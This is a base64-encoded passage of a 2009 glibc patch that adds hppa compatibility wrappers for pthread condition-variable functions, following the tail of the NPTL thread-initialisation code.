YXJtLiAgKi8KKyAgICAgIHdvcmQgPSBJTlRFUk5BTF9TWVNDQUxMIChmdXRl
eCwgZXJyLCA1LCAmd29yZCwKKwkJCSAgICAgICBGVVRFWF9XQUlUX0JJVFNF
VCB8IEZVVEVYX0NMT0NLX1JFQUxUSU1FCisJCQkgICAgICAgfCBGVVRFWF9Q
UklWQVRFX0ZMQUcsIDEsIE5VTEwsIDApOworICAgICAgYXNzZXJ0IChJTlRF
Uk5BTF9TWVNDQUxMX0VSUk9SX1AgKHdvcmQsIGVycikpOworICAgICAgaWYg
KElOVEVSTkFMX1NZU0NBTExfRVJSTk8gKHdvcmQsIGVycikgIT0gRU5PU1lT
KQorCV9fc2V0X2Z1dGV4X2Nsb2NrX3JlYWx0aW1lICgpOworICAgIH0KKyNl
bmRpZgorCisgIC8qIFNldCBpbml0aWFsIHRocmVhZCdzIHN0YWNrIGJsb2Nr
IGZyb20gMCB1cCB0byBfX2xpYmNfc3RhY2tfZW5kLgorICAgICBJdCB3aWxs
IGJlIGJpZ2dlciB0aGFuIGl0IGFjdHVhbGx5IGlzLCBidXQgZm9yIHVud2lu
ZC5jL3B0LWxvbmdqbXAuYworICAgICBwdXJwb3NlcyB0aGlzIGlzIGdvb2Qg
ZW5vdWdoLiAgKi8KKyAgVEhSRUFEX1NFVE1FTSAocGQsIHN0YWNrYmxvY2tf
c2l6ZSwgKHNpemVfdCkgX19saWJjX3N0YWNrX2VuZCk7CisKKyAgLyogSW5p
dGlhbGl6ZSB0aGUgbGlzdCBvZiBhbGwgcnVubmluZyB0aHJlYWRzIHdpdGgg
dGhlIG1haW4gdGhyZWFkLiAgKi8KKyAgSU5JVF9MSVNUX0hFQUQgKCZfX3N0
YWNrX3VzZXIpOworICBsaXN0X2FkZCAoJnBkLT5saXN0LCAmX19zdGFja191
c2VyKTsKKworICAvKiBCZWZvcmUgaW5pdGlhbGl6aW5nIF9fc3RhY2tfdXNl
ciwgdGhlIGRlYnVnZ2VyIGNvdWxkIG5vdCBmaW5kIHVzIGFuZAorICAgICBo
YWQgdG8gc2V0IF9fbnB0bF9pbml0aWFsX3JlcG9ydF9ldmVudHMuICBQcm9w
YWdhdGUgaXRzIHNldHRpbmcuICAqLworICBUSFJFQURfU0VUTUVNIChwZCwg
cmVwb3J0X2V2ZW50cywgX19ucHRsX2luaXRpYWxfcmVwb3J0X2V2ZW50cyk7
CisKKyAgLyogSW5zdGFsbCB0aGUgY2FuY2VsbGF0aW9uIHNpZ25hbCBoYW5k
bGVyLiAgSWYgZm9yIHNvbWUgcmVhc29uIHdlCisgICAgIGNhbm5vdCBpbnN0
YWxsIHRoZSBoYW5kbGVyIHdlIGRvIG5vdCBhYm9ydC4gIE1heWJlIHdlIHNo
b3VsZCwgYnV0CisgICAgIGl0IGlzIG9ubHkgYXN5bmNocm9ub3VzIGNhbmNl
bGxhdGlvbiB3aGljaCBpcyBhZmZlY3RlZC4gICovCisgIHN0cnVjdCBzaWdh
Y3Rpb24gc2E7CisgIHNhLnNhX3NpZ2FjdGlvbiA9IHNpZ2NhbmNlbF9oYW5k
bGVyOworICBzYS5zYV9mbGFncyA9IFNBX1NJR0lORk87CisgIF9fc2lnZW1w
dHlzZXQgKCZzYS5zYV9tYXNrKTsKKworICAodm9pZCkgX19saWJjX3NpZ2Fj
dGlvbiAoU0lHQ0FOQ0VMLCAmc2EsIE5VTEwpOworCisgIC8qIEluc3RhbGwg
dGhlIGhhbmRsZSB0byBjaGFuZ2UgdGhlIHRocmVhZHMnIHVpZC9naWQuICAq
LworICBzYS5zYV9zaWdhY3Rpb24gPSBzaWdoYW5kbGVyX3NldHhpZDsKKyAg
c2Euc2FfZmxhZ3MgPSBTQV9TSUdJTkZPIHwgU0FfUkVTVEFSVDsKKworICAo
dm9pZCkgX19saWJjX3NpZ2FjdGlvbiAoU0lHU0VUWElELCAmc2EsIE5VTEwp
OworCisgIC8qIFRoZSBwYXJlbnQgcHJvY2VzcyBtaWdodCBoYXZlIGxlZnQg
dGhlIHNpZ25hbHMgYmxvY2tlZC4gIEp1c3QgaW4KKyAgICAgY2FzZSwgdW5i
bG9jayBpdC4gIFdlIHJldXNlIHRoZSBzaWduYWwgbWFzayBpbiB0aGUgc2ln
YWN0aW9uCisgICAgIHN0cnVjdHVyZS4gIEl0IGlzIGFscmVhZHkgY2xlYXJl
ZC4gICovCisgIF9fc2lnYWRkc2V0ICgmc2Euc2FfbWFzaywgU0lHQ0FOQ0VM
KTsKKyAgX19zaWdhZGRzZXQgKCZzYS5zYV9tYXNrLCBTSUdTRVRYSUQpOwor
ICAodm9pZCkgSU5URVJOQUxfU1lTQ0FMTCAocnRfc2lncHJvY21hc2ssIGVy
ciwgNCwgU0lHX1VOQkxPQ0ssICZzYS5zYV9tYXNrLAorCQkJICAgTlVMTCwg
X05TSUcgLyA4KTsKKworICAvKiBHZXQgdGhlIHNpemUgb2YgdGhlIHN0YXRp
YyBhbmQgYWxpZ25tZW50IHJlcXVpcmVtZW50cyBmb3IgdGhlIFRMUworICAg
ICBibG9jay4gICovCisgIHNpemVfdCBzdGF0aWNfdGxzX2FsaWduOworICBf
ZGxfZ2V0X3Rsc19zdGF0aWNfaW5mbyAoJl9fc3RhdGljX3Rsc19zaXplLCAm
c3RhdGljX3Rsc19hbGlnbik7CisKKyAgLyogTWFrZSBzdXJlIHRoZSBzaXpl
IHRha2VzIGFsbCB0aGUgYWxpZ25tZW50cyBpbnRvIGFjY291bnQuICAqLwor
ICBpZiAoU1RBQ0tfQUxJR04gPiBzdGF0aWNfdGxzX2FsaWduKQorICAgIHN0
YXRpY190bHNfYWxpZ24gPSBTVEFDS19BTElHTjsKKyAgX19zdGF0aWNfdGxz
X2FsaWduX20xID0gc3RhdGljX3Rsc19hbGlnbiAtIDE7CisKKyAgX19zdGF0
aWNfdGxzX3NpemUgPSByb3VuZHVwIChfX3N0YXRpY190bHNfc2l6ZSwgc3Rh
dGljX3Rsc19hbGlnbik7CisKKyAgLyogRGV0ZXJtaW5lIHRoZSBkZWZhdWx0
IGFsbG93ZWQgc3RhY2sgc2l6ZS4gIFRoaXMgaXMgdGhlIHNpemUgdXNlZAor
ICAgICBpbiBjYXNlIHRoZSB1c2VyIGRvZXMgbm90IHNwZWNpZnkgb25lLiAg
Ki8KKyAgc3RydWN0IHJsaW1pdCBsaW1pdDsKKyAgaWYgKGdldHJsaW1pdCAo
UkxJTUlUX1NUQUNLLCAmbGltaXQpICE9IDAKKyAgICAgIHx8IGxpbWl0LnJs
aW1fY3VyID09IFJMSU1fSU5GSU5JVFkpCisgICAgLyogVGhlIHN5c3RlbSBs
aW1pdCBpcyBub3QgdXNhYmxlLiAgVXNlIGFuIGFyY2hpdGVjdHVyZS1zcGVj
aWZpYworICAgICAgIGRlZmF1bHQuICAqLworICAgIGxpbWl0LnJsaW1fY3Vy
ID0gQVJDSF9TVEFDS19ERUZBVUxUX1NJWkU7CisgIGVsc2UgaWYgKGxpbWl0
LnJsaW1fY3VyIDwgUFRIUkVBRF9TVEFDS19NSU4pCisgICAgLyogVGhlIHN5
c3RlbSBsaW1pdCBpcyB1bnVzYWJseSBzbWFsbC4KKyAgICAgICBVc2UgdGhl
IG1pbmltYWwgc2l6ZSBhY2NlcHRhYmxlLiAgKi8KKyAgICBsaW1pdC5ybGlt
X2N1ciA9IFBUSFJFQURfU1RBQ0tfTUlOOworCisgIC8qIE1ha2Ugc3VyZSBp
dCBtZWV0cyB0aGUgbWluaW11bSBzaXplIHRoYXQgYWxsb2NhdGVfc3RhY2sK
KyAgICAgKGFsbG9jYXRlc3RhY2suYykgd2lsbCBkZW1hbmQsIHdoaWNoIGRl
cGVuZHMgb24gdGhlIHBhZ2Ugc2l6ZS4gICovCisgIGNvbnN0IHVpbnRwdHJf
dCBwYWdlc3ogPSBfX3N5c2NvbmYgKF9TQ19QQUdFU0laRSk7CisgIGNvbnN0
IHNpemVfdCBtaW5zdGFjayA9IHBhZ2VzeiArIF9fc3RhdGljX3Rsc19zaXpl
ICsgTUlOSU1BTF9SRVNUX1NUQUNLOworICBpZiAobGltaXQucmxpbV9jdXIg
PCBtaW5zdGFjaykKKyAgICBsaW1pdC5ybGltX2N1ciA9IG1pbnN0YWNrOwor
CisgIC8qIFJvdW5kIHRoZSByZXNvdXJjZSBsaW1pdCB1cCB0byBwYWdlIHNp
emUuICAqLworICBsaW1pdC5ybGltX2N1ciA9IChsaW1pdC5ybGltX2N1ciAr
IHBhZ2VzeiAtIDEpICYgLXBhZ2VzejsKKyAgX19kZWZhdWx0X3N0YWNrc2l6
ZSA9IGxpbWl0LnJsaW1fY3VyOworCisjaWZkZWYgU0hBUkVECisgIC8qIFRy
YW5zZmVyIHRoZSBvbGQgdmFsdWUgZnJvbSB0aGUgZHluYW1pYyBsaW5rZXIn
cyBpbnRlcm5hbCBsb2NhdGlvbi4gICovCisgICpfX2xpYmNfZGxfZXJyb3Jf
dHNkICgpID0gKigqR0woZGxfZXJyb3JfY2F0Y2hfdHNkKSkgKCk7CisgIEdM
KGRsX2Vycm9yX2NhdGNoX3RzZCkgPSAmX19saWJjX2RsX2Vycm9yX3RzZDsK
KworICAvKiBNYWtlIF9fcnRsZF9sb2NrX3ssdW59bG9ja19yZWN1cnNpdmUg
dXNlIHB0aHJlYWRfbXV0ZXhfeyx1bn1sb2NrLAorICAgICBrZWVwIHRoZSBs
b2NrIGNvdW50IGZyb20gdGhlIGxkLnNvIGltcGxlbWVudGF0aW9uLiAgKi8K
KyAgR0woZGxfcnRsZF9sb2NrX3JlY3Vyc2l2ZSkgPSAodm9pZCAqKSBJTlRV
U0UgKF9fcHRocmVhZF9tdXRleF9sb2NrKTsKKyAgR0woZGxfcnRsZF91bmxv
Y2tfcmVjdXJzaXZlKSA9ICh2b2lkICopIElOVFVTRSAoX19wdGhyZWFkX211
dGV4X3VubG9jayk7CisgIHVuc2lnbmVkIGludCBydGxkX2xvY2tfY291bnQg
PSBHTChkbF9sb2FkX2xvY2spLm11dGV4Ll9fZGF0YS5fX2NvdW50OworICBH
TChkbF9sb2FkX2xvY2spLm11dGV4Ll9fZGF0YS5fX2NvdW50ID0gMDsKKyAg
d2hpbGUgKHJ0bGRfbG9ja19jb3VudC0tID4gMCkKKyAgICBJTlRVU0UgKF9f
cHRocmVhZF9tdXRleF9sb2NrKSAoJkdMKGRsX2xvYWRfbG9jaykubXV0ZXgp
OworCisgIEdMKGRsX21ha2Vfc3RhY2tfZXhlY3V0YWJsZV9ob29rKSA9ICZf
X21ha2Vfc3RhY2tzX2V4ZWN1dGFibGU7CisjZW5kaWYKKworICBHTChkbF9p
bml0X3N0YXRpY190bHMpID0gJl9fcHRocmVhZF9pbml0X3N0YXRpY190bHM7
CisKKyAgR0woZGxfd2FpdF9sb29rdXBfZG9uZSkgPSAmX193YWl0X2xvb2t1
cF9kb25lOworCisgIC8qIFJlZ2lzdGVyIHRoZSBmb3JrIGdlbmVyYXRpb24g
Y291bnRlciB3aXRoIHRoZSBsaWJjLiAgKi8KKyNpZm5kZWYgVExTX01VTFRJ
UExFX1RIUkVBRFNfSU5fVENCCisgIF9fbGliY19tdWx0aXBsZV90aHJlYWRz
X3B0ciA9CisjZW5kaWYKKyAgICBfX2xpYmNfcHRocmVhZF9pbml0ICgmX19m
b3JrX2dlbmVyYXRpb24sIF9fcmVjbGFpbV9zdGFja3MsCisJCQkgcHRyX3B0
aHJlYWRfZnVuY3Rpb25zKTsKKworICAvKiBEZXRlcm1pbmUgd2hldGhlciB0
aGUgbWFjaGluZSBpcyBTTVAgb3Igbm90LiAgKi8KKyAgX19pc19zbXAgPSBp
c19zbXBfc3lzdGVtICgpOworfQorc3Ryb25nX2FsaWFzIChfX3B0aHJlYWRf
aW5pdGlhbGl6ZV9taW5pbWFsX2ludGVybmFsLAorCSAgICAgIF9fcHRocmVh
ZF9pbml0aWFsaXplX21pbmltYWwpCkluZGV4OiBzeXNkZXBzL3VuaXgvc3lz
di9saW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9jb25kX2Jyb2Fk
Y2FzdC5jCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KUkNTIGZpbGU6IHN5c2Rl
cHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9vbGRfaHBwYV9wdGhyZWFk
X2NvbmRfYnJvYWRjYXN0LmMKZGlmZiAtTiBzeXNkZXBzL3VuaXgvc3lzdi9s
aW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9jb25kX2Jyb2FkY2Fz
dC5jCi0tLSAvZGV2L251bGwJMSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAor
Kysgc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL29sZF9ocHBh
X3B0aHJlYWRfY29uZF9icm9hZGNhc3QuYwkyIEFwciAyMDA5IDAyOjM0OjAz
IC0wMDAwCkBAIC0wLDAgKzEsMzYgQEAKKy8qIENvcHlyaWdodCAoQykgMjAw
OSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4KKyAgIFRoaXMgZmls
ZSBpcyBwYXJ0IG9mIHRoZSBHTlUgQyBMaWJyYXJ5LgorICAgQ29udHJpYnV0
ZWQgYnkgQ2FybG9zIE8nRG9uZWxsIDxjYXJsb3NAY29kZXNvdXJjZXJ5LmNv
bT4sIDIwMDkuCisKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGZyZWUgc29m
dHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0IGFuZC9vcgorICAgbW9k
aWZ5IGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIExlc3NlciBHZW5l
cmFsIFB1YmxpYworICAgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkgdGhlIEZy
ZWUgU29mdHdhcmUgRm91bmRhdGlvbjsgZWl0aGVyCisgICB2ZXJzaW9uIDIu
MSBvZiB0aGUgTGljZW5zZSwgb3IgKGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0
ZXIgdmVyc2lvbi4KKworICAgVGhlIEdOVSBDIExpYnJhcnkgaXMgZGlzdHJp
YnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCwKKyAg
IGJ1dCBXSVRIT1VUIEFOWSBXQVJSQU5UWTsgd2l0aG91dCBldmVuIHRoZSBp
bXBsaWVkIHdhcnJhbnR5IG9mCisgICBNRVJDSEFOVEFCSUxJVFkgb3IgRklU
TkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuICBTZWUgdGhlIEdOVQor
ICAgTGVzc2VyIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZm9yIG1vcmUgZGV0
YWlscy4KKworICAgWW91IHNob3VsZCBoYXZlIHJlY2VpdmVkIGEgY29weSBv
ZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1YmxpYworICAgTGljZW5zZSBh
bG9uZyB3aXRoIHRoZSBHTlUgQyBMaWJyYXJ5OyBpZiBub3QsIHdyaXRlIHRv
IHRoZSBGcmVlCisgICBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuLCA1OSBU
ZW1wbGUgUGxhY2UsIFN1aXRlIDMzMCwgQm9zdG9uLCBNQQorICAgMDIxMTEt
MTMwNyBVU0EuICAqLworCisjaW5jbHVkZSA8ZXJybm8uaD4KKyNpbmNsdWRl
ICJwdGhyZWFkUC5oIgorI2luY2x1ZGUgPHNobGliLWNvbXBhdC5oPgorCisj
aWYgU0hMSUJfQ09NUEFUKGxpYnB0aHJlYWQsIEdMSUJDXzJfM18yLCBHTElC
Q18yXzkpCitpbnQKK19fcHRocmVhZF9jb25kX2Jyb2FkY2FzdF9ocHBhXzJf
M18yIChwdGhyZWFkX2NvbmRfaHBwYV8yXzNfMl90ICp2YXIpCit7CisgIGNv
bXBhdF9sb2NrICh2YXIpOworICBjb21wYXRfbWFsbG9jICh2YXIpOworICBj
b21wYXRfdW5sb2NrICh2YXIpOworICByZXR1cm4gX19wdGhyZWFkX2NvbmRf
YnJvYWRjYXN0KHZhci0+Y29tcGF0KTsKK30KK2NvbXBhdF9zeW1ib2wgKGxp
YnB0aHJlYWQsIF9fcHRocmVhZF9jb25kX2Jyb2FkY2FzdF9ocHBhXzJfM18y
LCAKKwkgICAgICAgcHRocmVhZF9jb25kX2Jyb2FkY2FzdCwgR0xJQkNfMl8z
XzIpOworI2VuZGlmCisKSW5kZXg6IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4
L2hwcGEvbnB0bC9vbGRfaHBwYV9wdGhyZWFkX2NvbmRfZGVzdHJveS5jCj09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT0KUkNTIGZpbGU6IHN5c2RlcHMvdW5peC9z
eXN2L2xpbnV4L2hwcGEvbnB0bC9vbGRfaHBwYV9wdGhyZWFkX2NvbmRfZGVz
dHJveS5jCmRpZmYgLU4gc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9u
cHRsL29sZF9ocHBhX3B0aHJlYWRfY29uZF9kZXN0cm95LmMKLS0tIC9kZXYv
bnVsbAkxIEphbiAxOTcwIDAwOjAwOjAwIC0wMDAwCisrKyBzeXNkZXBzL3Vu
aXgvc3lzdi9saW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9jb25k
X2Rlc3Ryb3kuYwkyIEFwciAyMDA5IDAyOjM0OjAzIC0wMDAwCkBAIC0wLDAg
KzEsNDAgQEAKKy8qIENvcHlyaWdodCAoQykgMjAwOSBGcmVlIFNvZnR3YXJl
IEZvdW5kYXRpb24sIEluYy4KKyAgIFRoaXMgZmlsZSBpcyBwYXJ0IG9mIHRo
ZSBHTlUgQyBMaWJyYXJ5LgorICAgQ29udHJpYnV0ZWQgYnkgQ2FybG9zIE8n
RG9uZWxsIDxjYXJsb3NAY29kZXNvdXJjZXJ5LmNvbT4sIDIwMDkuCisKKyAg
IFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4g
cmVkaXN0cmlidXRlIGl0IGFuZC9vcgorICAgbW9kaWZ5IGl0IHVuZGVyIHRo
ZSB0ZXJtcyBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1YmxpYworICAg
TGljZW5zZSBhcyBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUgRm91
bmRhdGlvbjsgZWl0aGVyCisgICB2ZXJzaW9uIDIuMSBvZiB0aGUgTGljZW5z
ZSwgb3IgKGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4KKwor
ICAgVGhlIEdOVSBDIExpYnJhcnkgaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhv
cGUgdGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCwKKyAgIGJ1dCBXSVRIT1VUIEFO
WSBXQVJSQU5UWTsgd2l0aG91dCBldmVuIHRoZSBpbXBsaWVkIHdhcnJhbnR5
IG9mCisgICBNRVJDSEFOVEFCSUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJU
SUNVTEFSIFBVUlBPU0UuICBTZWUgdGhlIEdOVQorICAgTGVzc2VyIEdlbmVy
YWwgUHVibGljIExpY2Vuc2UgZm9yIG1vcmUgZGV0YWlscy4KKworICAgWW91
IHNob3VsZCBoYXZlIHJlY2VpdmVkIGEgY29weSBvZiB0aGUgR05VIExlc3Nl
ciBHZW5lcmFsIFB1YmxpYworICAgTGljZW5zZSBhbG9uZyB3aXRoIHRoZSBH
TlUgQyBMaWJyYXJ5OyBpZiBub3QsIHdyaXRlIHRvIHRoZSBGcmVlCisgICBT
b2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuLCA1OSBUZW1wbGUgUGxhY2UsIFN1
aXRlIDMzMCwgQm9zdG9uLCBNQQorICAgMDIxMTEtMTMwNyBVU0EuICAqLwor
CisjaW5jbHVkZSA8ZXJybm8uaD4KKyNpbmNsdWRlICJwdGhyZWFkUC5oIgor
I2luY2x1ZGUgPHNobGliLWNvbXBhdC5oPgorCisjaWYgU0hMSUJfQ09NUEFU
KGxpYnB0aHJlYWQsIEdMSUJDXzJfM18yLCBHTElCQ18yXzkpCitpbnQKK19f
cHRocmVhZF9jb25kX2Rlc3Ryb3lfaHBwYV8yXzNfMiAocHRocmVhZF9jb25k
X2hwcGFfMl8zXzJfdCAqdmFyKQoreworICBpbnQgcmV0OworICBpZiAoY29t
cGF0X3ByZXNlbnQgKHZhcikpCisgICAgeworICAgICAgcmV0ID0gX19wdGhy
ZWFkX2NvbmRfZGVzdHJveSh2YXItPmNvbXBhdCk7CisgICAgICBjb21wYXRf
ZnJlZSAodmFyKTsKKyAgICAgIHJldHVybiByZXQ7CisgICAgfQorICByZXR1
cm4gMDsKK30KK2NvbXBhdF9zeW1ib2wgKGxpYnB0aHJlYWQsIF9fcHRocmVh
ZF9jb25kX2Rlc3Ryb3lfaHBwYV8yXzNfMiwgCisJICAgICAgIHB0aHJlYWRf
Y29uZF9kZXN0cm95LCBHTElCQ18yXzNfMik7CisjZW5kaWYKKwpJbmRleDog
c3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL29sZF9ocHBhX3B0
aHJlYWRfY29uZF9pbml0LmMKPT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpSQ1Mg
ZmlsZTogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL29sZF9o
cHBhX3B0aHJlYWRfY29uZF9pbml0LmMKZGlmZiAtTiBzeXNkZXBzL3VuaXgv
c3lzdi9saW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9jb25kX2lu
aXQuYwotLS0gL2Rldi9udWxsCTEgSmFuIDE5NzAgMDA6MDA6MDAgLTAwMDAK
KysrIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9vbGRfaHBw
YV9wdGhyZWFkX2NvbmRfaW5pdC5jCTIgQXByIDIwMDkgMDI6MzQ6MDMgLTAw
MDAKQEAgLTAsMCArMSwzNyBAQAorLyogQ29weXJpZ2h0IChDKSAyMDA5IEZy
ZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLgorICAgVGhpcyBmaWxlIGlz
IHBhcnQgb2YgdGhlIEdOVSBDIExpYnJhcnkuCisgICBDb250cmlidXRlZCBi
eSBDYXJsb3MgTydEb25lbGwgPGNhcmxvc0Bjb2Rlc291cmNlcnkuY29tPiwg
MjAwOS4KKworICAgVGhlIEdOVSBDIExpYnJhcnkgaXMgZnJlZSBzb2Z0d2Fy
ZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yCisgICBtb2RpZnkg
aXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwg
UHVibGljCisgICBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBieSB0aGUgRnJlZSBT
b2Z0d2FyZSBGb3VuZGF0aW9uOyBlaXRoZXIKKyAgIHZlcnNpb24gMi4xIG9m
IHRoZSBMaWNlbnNlLCBvciAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2
ZXJzaW9uLgorCisgICBUaGUgR05VIEMgTGlicmFyeSBpcyBkaXN0cmlidXRl
ZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAorICAgYnV0
IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxp
ZWQgd2FycmFudHkgb2YKKyAgIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNT
IEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUgR05VCisgICBM
ZXNzZXIgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxz
LgorCisgICBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRo
ZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlIGFsb25n
IHdpdGggdGhlIEdOVSBDIExpYnJhcnk7IGlmIG5vdCwgd3JpdGUgdG8gdGhl
IEZyZWUKKyAgIFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4sIDU5IFRlbXBs
ZSBQbGFjZSwgU3VpdGUgMzMwLCBCb3N0b24sIE1BCisgICAwMjExMS0xMzA3
IFVTQS4gICovCisKKyNpbmNsdWRlIDxlcnJuby5oPgorI2luY2x1ZGUgInB0
aHJlYWRQLmgiCisjaW5jbHVkZSA8c2hsaWItY29tcGF0Lmg+CisKKyNpZiBT
SExJQl9DT01QQVQobGlicHRocmVhZCwgR0xJQkNfMl8zXzIsIEdMSUJDXzJf
OSkKK2ludAorX19wdGhyZWFkX2NvbmRfaW5pdF9ocHBhXzJfM18yIChwdGhy
ZWFkX2NvbmRfaHBwYV8yXzNfMl90ICp2YXIsCisJCQkgICAgICBjb25zdCBw
dGhyZWFkX2NvbmRhdHRyX3QgKmF0dHIpCit7CisgIC8qIEFsbCBvdGhlciBj
b21wYXQgZnVuY3Rpb25zIGV4cGVjdCBhbiBpbml0aWFsaXplZCBsb2NrLiAg
Ki8KKyAgY29tcGF0X2luaXQgKHZhcik7CisgIGNvbXBhdF9tYWxsb2Nfbm9s
b2NrICh2YXIpOworICByZXR1cm4gX19wdGhyZWFkX2NvbmRfaW5pdCAodmFy
LT5jb21wYXQsIGF0dHIpOworfQorY29tcGF0X3N5bWJvbCAobGlicHRocmVh
ZCwgX19wdGhyZWFkX2NvbmRfaW5pdF9ocHBhXzJfM18yLCBwdGhyZWFkX2Nv
bmRfaW5pdCwKKwkgICAgICAgR0xJQkNfMl8zXzIpOworI2VuZGlmCisKSW5k
ZXg6IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9vbGRfaHBw
YV9wdGhyZWFkX2NvbmRfc2lnbmFsLmMKPT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PQpSQ1MgZmlsZTogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRs
L29sZF9ocHBhX3B0aHJlYWRfY29uZF9zaWduYWwuYwpkaWZmIC1OIHN5c2Rl
cHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9vbGRfaHBwYV9wdGhyZWFk
X2NvbmRfc2lnbmFsLmMKLS0tIC9kZXYvbnVsbAkxIEphbiAxOTcwIDAwOjAw
OjAwIC0wMDAwCisrKyBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25w
dGwvb2xkX2hwcGFfcHRocmVhZF9jb25kX3NpZ25hbC5jCTIgQXByIDIwMDkg
MDI6MzQ6MDMgLTAwMDAKQEAgLTAsMCArMSwzNiBAQAorLyogQ29weXJpZ2h0
IChDKSAyMDA5IEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLgorICAg
VGhpcyBmaWxlIGlzIHBhcnQgb2YgdGhlIEdOVSBDIExpYnJhcnkuCisgICBD
b250cmlidXRlZCBieSBDYXJsb3MgTydEb25lbGwgPGNhcmxvc0Bjb2Rlc291
cmNlcnkuY29tPiwgMjAwOS4KKworICAgVGhlIEdOVSBDIExpYnJhcnkgaXMg
ZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29y
CisgICBtb2RpZnkgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgTGVz
c2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBi
eSB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uOyBlaXRoZXIKKyAgIHZl
cnNpb24gMi4xIG9mIHRoZSBMaWNlbnNlLCBvciAoYXQgeW91ciBvcHRpb24p
IGFueSBsYXRlciB2ZXJzaW9uLgorCisgICBUaGUgR05VIEMgTGlicmFyeSBp
cyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNl
ZnVsLAorICAgYnV0IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2
ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YKKyAgIE1FUkNIQU5UQUJJTElU
WSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0
aGUgR05VCisgICBMZXNzZXIgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3Ig
bW9yZSBkZXRhaWxzLgorCisgICBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQg
YSBjb3B5IG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBM
aWNlbnNlIGFsb25nIHdpdGggdGhlIEdOVSBDIExpYnJhcnk7IGlmIG5vdCwg
d3JpdGUgdG8gdGhlIEZyZWUKKyAgIFNvZnR3YXJlIEZvdW5kYXRpb24sIElu
Yy4sIDU5IFRlbXBsZSBQbGFjZSwgU3VpdGUgMzMwLCBCb3N0b24sIE1BCisg
ICAwMjExMS0xMzA3IFVTQS4gICovCisKKyNpbmNsdWRlIDxlcnJuby5oPgor
